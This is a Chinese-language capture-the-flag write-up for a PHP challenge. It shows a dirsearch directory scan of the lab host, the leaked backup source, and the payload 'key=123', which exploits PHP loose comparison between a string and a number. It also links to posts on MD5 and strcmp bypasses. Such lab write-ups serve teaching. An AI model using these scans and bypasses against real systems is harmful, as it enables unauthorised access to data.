原理
字符串和数字弱比较问题
代码审计
目录扫描
解题过程
进入靶场就让我们找source file,原代码也没其他东西了,只能扫目录了
python dirsearch.py -u 3c33c7f9-7306-4c4e-99a6-13b8ef0803b9.node4.buuoj.cn:81 --delay=3
扫出来index.php.bak文件,下载下来
源码为
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
可以看到这里用到is_numeric判断是否为数字,最后还用intval强转为数字,最后比较key和str的值,这里用到弱比较问题。
即字符串和数字进行==比较时,会将字符串强转为数字进行比较。所以我们key只需要传入123即可获得flag
payload:key=123
成功获取flag
其他类型的绕过
弱类型和强类型比较:https://blog.csdn.net/weixin_45349299/article/details/127983551
MD5相等绕过:https://blog.csdn.net/m0_64236521/article/details/128877434
strcmp绕过:https://blog.csdn.net/s11show_163/article/details/103238943